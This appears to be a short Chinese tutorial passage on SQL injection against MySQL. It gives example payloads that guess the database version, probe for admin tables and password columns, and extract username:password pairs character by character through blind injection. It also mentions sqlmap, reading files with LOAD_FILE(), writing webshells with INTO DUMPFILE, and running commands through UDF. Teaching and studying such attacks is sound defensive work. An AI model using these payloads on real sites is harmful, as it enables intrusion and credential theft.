SQL注入可以猜解出数据库的对应版本,比如下面这段Payload,如果MySQL的版本是4,则会返回true。
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4
下面这段Payload,则是利用union select来分别确认表名admin是否存在,列名passwd是否存在:
id=5 union all select 1,2,3 from admin
id=5 union all select 1,2,passwd from admin
进一步,想要猜解出username和password具体的值,可以通过判断字符的范围,一步步读出来。
id=5 and ascii(substring((select concat(username,0x3a,passwd) from users limit 0,1),1,1))>64
这个过程非常的繁琐,所以非常有必要使用一个自动化工具来帮助完成整个过程。
sqlmap.py就是一个非常好的自动化注入工具。
在注入攻击的过程中,常常会用到一些读写文件的技巧。比如在MySQL中,就可以通过LOAD_FILE()读取系统文件,并通过INTO DUMPFILE写入本地文件。当然这要求当前数据库用户有读写系统相应文件或目录的权限。
在MySQL中,除了可以通过导出webshell间接地执行命令外,还可以利用“用户自定义函数”的技巧,即UDF(user-defined functions)来执行命令。